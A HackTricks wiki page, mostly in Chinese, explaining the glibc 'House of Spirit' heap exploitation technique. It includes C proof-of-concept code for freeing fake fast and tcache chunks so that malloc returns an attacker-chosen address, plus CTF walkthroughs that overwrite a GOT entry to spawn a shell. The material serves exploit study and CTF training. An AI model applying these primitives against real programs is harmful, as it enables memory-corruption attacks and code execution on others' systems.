House of Spirit

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

代码

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### 目标

- 能够将一个地址加入到 tcache / fast bin 中,以便后续可以分配到该地址

### 要求

- 此攻击要求攻击者能够创建几个伪造的 fast chunks,并在正确的位置设置其 size 值,然后能够 free 第一个伪造 chunk,使其进入对应的 bin。
- 对于 **tcache (glibc ≥2.26)**,攻击更简单:只需一个伪造 chunk(tcache 路径上不进行 next-chunk size 检查),只要伪造 chunk 是 0x10 对齐且其 size 字段位于有效的 tcache bin(x64 上为 0x20-0x410)范围内。

### 攻击

- 构造能绕过安全检查的伪造 chunks:基本上需要两个伪造 chunk,在正确的位置标明正确的 size。
- 想办法 free 第一个伪造 chunk,使其进入 fast 或 tcache bin,然后 allocate 它以覆盖该地址。

**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** 下面这张来自代码的示意图很好地总结了这一点:

<details>
<summary>伪造 chunk 布局</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

注意,需要创建第二个 chunk 以绕过某些 sanity checks。

Tcache house of spirit (glibc ≥2.26)

  • 在现代 glibc 中,tcache fast-path 在验证下一个 chunk 的 size/prev_inuse 之前会调用 tcache_put,因此只有当前的 fake chunk 需要看起来合理。
  • 要求:
  • Fake chunk 必须16-byte aligned,且不能被标记为 IS_MMAPPED/NON_MAIN_ARENA
  • size 必须属于一个 tcache bin,并包含 prev_inuse bit setsize | 1)。
  • 该 bin 的 Tcache 不能已满(默认最大 7 个条目)。
  • 最小 PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking 在这里不是障碍:存储在 tcache 中的前向指针在 free 期间会自动编码为 fd = ptr ^ (heap_base >> 12),所以当使用单个伪造 chunk 时攻击者不需要知道密钥。
  • 这种变体在 glibc hooks 被移除(≥2.34)且你想要快速的 arbitrary write 或将目标缓冲区(例如 stack/BSS)与 tcache chunk 重叠而不制造额外破坏时很方便。

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak:通过 overflow 可以将指针改为指向 GOT 地址,以便通过 CTF 的 read 操作 leak 一个 libc 地址

  • House of Spirit:滥用一个记录“rifles”数量的计数器可以生成第一个伪造 chunk 的伪造 size;然后滥用一个“message”可以伪造第二个 chunk 的 size;最后再滥用一个 overflow 可以修改将要被 free 的指针,使我们的第一个伪造 chunk 被 free。接着我们可以分配它,chunk 内将包含“message”存放的地址。然后可以让它指向 GOT 表内的 scanf 条目,从而用 system 的地址覆盖它。
    下一次调用 scanf 时,我们发送输入 "/bin/sh" 就能得到一个 shell。

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak:未初始化的栈缓冲区。

  • House of Spirit:我们可以修改全局堆指针数组的第一个索引。通过单字节修改,我们对位于有效 chunk 内的伪造 chunk 调用 free,这样在再次分配后会出现重叠 chunk 的情形。借此,一个简单的 Tcache poisoning 攻击可用于获得 arbitrary write primitive。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks